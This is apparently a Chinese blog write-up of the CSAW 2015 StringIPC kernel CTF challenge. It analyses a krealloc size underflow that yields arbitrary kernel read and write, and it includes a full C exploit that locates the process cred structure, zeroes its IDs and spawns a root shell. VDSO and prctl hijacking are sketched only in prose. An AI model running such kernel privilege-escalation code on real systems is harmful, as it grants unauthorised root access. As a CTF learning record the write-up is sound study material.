kernel-5-bypass_smep1

第五次学习kernel,寒假也接近了尾声。回想一下寒假学了什么,主要是复习了一下堆中不熟悉的IO_FILE攻击、建立了这个博客,pwnable.tw上刷了4道题,学习了kernel,出了一道题,打了一次dicectf。还是感觉时间好快。

检查保护

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./built.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-s \
-nographic

开启了smep保护。内核不可执行用户空间代码。

分析代码

这道内核题目给了源码,一看有400行。我们先使用头来逆向。(想起来被mit6.828支配的恐惧)

回想一下JOS中的IPC通信,主要是两个进程各有一个监听者和一个发送者,不断循环等待接收数据。大致思路有了,我们从file_operation开始入手。

1
2
3
4
5
6
struct file_operations csaw_fops = {
owner: THIS_MODULE,
open: csaw_open,
release: csaw_release,
unlocked_ioctl: csaw_ioctl,
};

open函数

可以看到一共有三种操作方式,open,release和ioctl。最后一种应该是为了提供更多操作而单独列出来的。首先看open函数。

1
2
3
4
5
6
7
8
9
10
static int csaw_open ( struct inode *inode, struct file *file )
{
struct ipc_state *state;
state = kzalloc(sizeof(*state), GFP_KERNEL);
if ( state == NULL )
return -ENOMEM;
mutex_init(&state->lock);
file->private_data = state;
return 0;
}

这个操作是将file类型文件的private_data改成state。而state是我们通过kazlloc申请出来的一段内存。file结构体是什么,交叉引用得不到。可能是源码中,同级目录下没有导致的。我们暂且不管,认为他就是普通的文件。

release函数

接下来看release函数

1
2
3
4
5
6
7
8
static int csaw_release ( struct inode *inode, struct file *file )
{
struct ipc_state *state = file->private_data;
if ( state->channel )
ipc_channel_put(state, state->channel);
kfree(state);
return 0;
}

这里调用了ipc_channel_put

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void ipc_channel_put ( struct ipc_state *state, struct ipc_channel *channel )
{
kref_put(&channel->ref, ipc_channel_destroy);
}
// ipc_channel_destroy如下
static void ipc_channel_destroy ( struct kref *ref )
{
struct ipc_channel *channel = container_of(ref, struct ipc_channel, ref);

idr_remove(&ipc_idr, channel->id);

kfree(channel->data);
kfree(channel);
}

看起来像是释放空间,这里没有洞。

ioctl

接下来是ioctl函数。函数较长就不列出了。主要写一下我对这几个操作函数的理解。channel相当于一种类似管道的数据缓冲区。

1
2
3
4
5
6
7
8
9
10
// CSAW_ALLOC_CHANNEL
主要是调用alloc_new_ipc_channel分配一个channel以及channelID.同时如果此时copy_to_user成功了就说明出错(不清楚这里的作用,是为了验证没有数据残留吗?)
// CSAW_OPEN_CHANNEL
最主要是将state->channel设置为当前根据id选择的channel
// CSAW_GROW_CHANNEL\CSAW_SHRINK_CHANNEL
调用内核realloc调整channel大小
// CSAW_READ_CHANNEL\CSAW_WRITE_CHANNEL
将用户数据读入challel或者将channel数据写回给用户
// CSAW_SEEK_CHANNEL
给出当前操作的channel特定位置的指针<类似fseek,包含前向偏移和后向偏移>

漏洞

这里需要对内核malloc机制有所了解才能做出来。漏洞在realloc函数中。如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
struct ipc_channel *channel;
size_t new_size;
char *new_data;
channel = get_channel_by_id(state, id);
if ( IS_ERR(channel) )
return PTR_ERR(channel);
if ( grow )
new_size = channel->buf_size + size;
else
new_size = channel->buf_size - size;
new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
if ( new_data == NULL ) // 定义的出错条件
return -EINVAL;
channel->data = new_data;
channel->buf_size = new_size;
ipc_channel_put(state, channel);
return 0;
}

上述函数调用krealloc对请求进行重新分配大小。LINUX内核中krealloc实现如下(mm/slab_common.c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* krealloc - reallocate memory. The contents will remain unchanged.
* @p: object to reallocate memory for.
* @new_size: how many bytes of memory are required.
* @flags: the type of memory to allocate.
*
* The contents of the object pointed to are preserved up to the
* lesser of the new and old sizes. If @p is %NULL, krealloc()
* behaves exactly like kmalloc(). If @new_size is 0 and @p is not a
* %NULL pointer, the object pointed to is freed.
*/
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
void *ret;
if (unlikely(!new_size)) {
kfree(p);
return ZERO_SIZE_PTR;
}
ret = __do_krealloc(p, new_size, flags);
if (ret && p != ret)
kfree(p);
return ret;
}
EXPORT_SYMBOL(krealloc);
------------------------------------------------------------------------------
// 对于ZERO_SIZE_PTR,解释如下 (include/linux/slab.h)
/*
* ZERO_SIZE_PTR will be returned for zero sized kmalloc requests.
*
* Dereferencing ZERO_SIZE_PTR will lead to a distinct access fault.
*
* ZERO_SIZE_PTR can be passed to kfree though in the same way that NULL can.
* Both make kfree a no-op.
*/
#define ZERO_SIZE_PTR ((void *)16

在上面看到,当new_size为0时,原先指针将被free掉,并返回一个可以被free但是不能被解引用的返回值((void *)16。但是注意到IPC中定义的出错条件是realloc返回值为NULL,不是这里的16。如果我们传入size为-1,首先由于size_t是无符号类型,将被解释为0xfffff…ffff,其次,这里将size+1之后realloc将返回一个非NULL的指针,说明可以分配成功。于是我们拿到了一个0xfffff…ffff的缓冲区,也就是任意地址读写的权限

也就是说,我们现在拥有了内核地址空间任意读写的条件。那么该怎么利用呢?这里参考链接的三种方法,进行逐一的复现。

attack

方法一:劫持cred结构体

前面几篇文章中也能看出来,cred结构体中定义了进程的权限。如果能够设置uid,gid等全为0,也就直接获得了root权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

回想之前内核UAF内核栈溢出中是如何修改cred结构体的。前者是知道了cred大小之后利用指针未清零导致的UAF,后者是直接执行的commit_cred(prepare_cred(0)),但是需要依靠栈溢出覆盖执行流。然而这里不存在溢出,也不会显示返回,也就无法改变执行流。如果这里想要劫持cred结构体,必须知道cred结构体的位置。

这里给出一种方法:修改task_struct中的char comm[TASK_COMM_LEN]结构。linux中prctl函数中的PR_SET_NAME功能,能够为线程设置16字节以下的名称。

1
2
3
4
5
6
7
8
9
10
11
12
PR_SET_NAME (since Linux 2.6.9)
Set the name of the calling thread, using the value in the
location pointed to by (char *) arg2. The name can be up
to 16 bytes long, including the terminating null byte.
(If the length of the string, including the terminating
null byte, exceeds 16 bytes, the string is silently
truncated.) This is the same attribute that can be set
via pthread_setname_np(3) and retrieved using
pthread_getname_np(3). The attribute is likewise
accessible via /proc/self/task/[tid]/comm (see proc(5)),
where [tid] is the thread ID of the calling thread, as
returned by gettid(2)

接下来我们只需要知道cred的地址在哪里即可。由于name位置也在线程control block附近,通过在内存中爆破name位置就可以获得cred结构体地址信息了。我们一共需要爆破位于0xffff880000000000~0xffffc80000000000中的64T地址内的数据,相当大的工作量。。。以下脚本中仍有许多地方通过调试也无法知道是为什么。尤其是确定cred结构体位置的地方的判断条件。此外,在找到cred结构体之后,如果想对其写入,只能使用stringIPC提供的一次性写入一字节的方法,而不能一次性写入32字节,也是很迷惑。

下图为找到的cred结构体位置,我们将下图0x3e8地方改为0即可。

image-20220216122608119

以下为成功改为0时,也就是拿到了ROOT.

image-20220216130310607

此外,自己复现写的脚本似乎很不稳定。不知道为什么有时会找到0x0a地址的地方。需要多尝试几次。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <malloc.h>
#include <string.h> // for memmem
#include <sys/ioctl.h> /* BSD and Linux */
#include<unistd.h> // for getgid()
#include<stdlib.h> // for system("/bin/sh")
// search string input

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};


// create a channel
int main()
{
setvbuf(stdout, 0LL, 2, 0LL);
int fd = open("/dev/csaw",O_RDWR);
if(fd<0)
{
printf("open /dev/csaw error\n");
return -1;
}
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct close_channel_args close_args;
struct write_channel_args write_args;
size_t addr = 0xffff880000000000;
size_t real_cred = 0;
size_t cred = 0;
size_t target_addr;
int root_cred[12];

// alloc one
alloc_args.buf_size = 0x100;
alloc_args.id = -1;
int ret = -1;
ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
if(alloc_args.id == -1)
{
printf("bad alloc\n");
return -1;
}
printf("[+] alloc an channel at id %d\n",alloc_args.id);

// change its size to get arbitary write
shrink_args.id = alloc_args.id;
shrink_args.size = 0x100+1; // vul, shrink size is `original size - this size` si we get -1 here
ret = ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
printf("[+] now we have arbitary read/write\n");

// use prctl() to set a str
char buf[16] = {0};
strcpy(buf,"1@mnicholas_Wei");
prctl(PR_SET_NAME,buf);

// BEGIN OUR SEARCH
char* local_buf = (char*)malloc(0x1000);
for(;addr<0xffffc80000000000;addr+=0x1000)
{
// use memmem to search for pattern
// we can't do memmem directly, because we need to search it inside
// the space of **device**, not the space of our program.
// printf("look for addr 0x%lx\n",addr);
seek_args.id = alloc_args.id;
seek_args.index = addr-0x10; // index is actually the begin of the place we want to search.
seek_args.whence = SEEK_SET; // search from begin
ret = ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
// use channel_read to read channel's space
read_args.buf = local_buf;
read_args.count = 0x1000;
read_args.id = alloc_args.id;
ret = ioctl(fd,CSAW_READ_CHANNEL,&read_args);
//now data is in local_buf
ret = memmem(local_buf,0x1000,buf,0x10);
if(ret)
{
printf("[+] user-level pointer @ 0x%lx\n",ret);
printf("[+] find pattern @ 0x%lx\n",ret+addr);
cred = *(size_t *)(ret - 0x8);
real_cred = *(size_t *)(ret - 0x10);
if((cred||0xff00000000000000) && (real_cred == cred)) // what's the meaning of this?
{
// target_addr = addr+ret-(int)buf;// what's meaning?
printf("[+] find cred @ 0x%lx\n",cred);
printf("[+] find real_cred @ 0x%lx\n", real_cred);
}
break;
}
}

// now we get the cred addr, we can overwrite it

// The following way doesn't work
// //1. seek
// seek_args.id = alloc_args.id;
// seek_args.index = cred + 8 - 0x10;
// printf("[+] switch to search @ %llx\n",seek_args.index);
// seek_args.whence = 0;//from begin
// ret = ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
// // 2.write
// char payload[32] = {0};
// write_args.buf = payload;
// write_args.count = 32;
// write_args.id = alloc_args.id;
// ret = ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

// the solution on website, works well
printf("[+] switch to search @ %llx\n",cred-0x10 +4);
for (int i = 0; i<44;i++){
seek_args.id = alloc_args.id;
seek_args.index = cred-0x10 +4 + i ;
seek_args.whence= SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
root_cred[0] = 0;
write_args.id = alloc_args.id;
write_args.buf = (char *)root_cred;
write_args.count = 1;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

}
if(getuid() == 0)
{
printf("ROOTED!\n");
system("/bin/sh");
}
else
{
system("/bin/sh");
printf("Something wrong...\n");
}


}

方法二:劫持VDSO

VDSO在pwn中有所耳闻。VDSO是一种ELF文件,当进程被加载时,主要是将一些安全上不太重要,但是时间要求很高的内核函数提出来放在VDSO,并一并映射到用户地址空间中。这样用户线程可以直接调用此类函数而不必有陷入内核的开销。以下内容为man vsdo包含了x86_64下的vdso函数。

1
2
3
4
5
6
7
8
9
10
11
x86-64 functions
The table below lists the symbols exported by the vDSO. All of
these symbols are also available without the "__vdso_" prefix,
but you should ignore those and stick to the names below.

symbol version
─────────────────────────────────
__vdso_clock_gettime LINUX_2.6
__vdso_getcpu LINUX_2.6
__vdso_gettimeofday LINUX_2.6
__vdso_time LINUX_2.6

基本想法是:由于VDSO时可执行的段,思考能否利用全局写来给VDSO某个函数写上shellcode(例如gettimeofday)然后想办法触发此函数。但是要注意我们只能等待内核态进程触发此函数。个人觉得这种方法比较牵强,等待root进程调用不太现实(虽然也不失为一种攻击可能性)。

exp主要参考p4nda师傅,写的很好了。我没有什么创新点就不复制了。思路和之前的差不多,全局搜索找到gettimeofday的地址,覆写指令部分为一段shellcode。由于是驱动级别写,不会触发用户的不可写错误。

方法三:劫持prctl

这其实是想通过本题学到的方法。

prctl全名应该是process control(我猜的)官方文档在这里,主要定义了一些对于线程和进程的操作。但是看解法也太复杂了。。后面再次复现的时候补上,原理过于复杂了

参考文章

https://ypl.coffee/csaw-2015-stringipc/

http://p4nda.top/WooyunDrops/#!/drops/1059.%E7%AE%80%E5%8D%95%E7%B2%97%E6%9A%B4%E6%9C%89%E6%95%88%E7%9A%84mmap%E4%B8%8Eremap_pfn_range

http://p4nda.top/2018/11/07/stringipc/#%E5%85%B3%E4%BA%8EVDSO

文章目录
  1. 1. 检查保护
  2. 2. 分析代码
    1. 2.1. open函数
    2. 2.2. release函数
    3. 2.3. ioctl
  3. 3. 漏洞
  4. 4. attack
    1. 4.1. 方法一:劫持cred结构体
    2. 4.2. exp
    3. 4.3. 方法二:劫持VDSO
    4. 4.4. 方法三:劫持prctl
  5. 5. 参考文章
|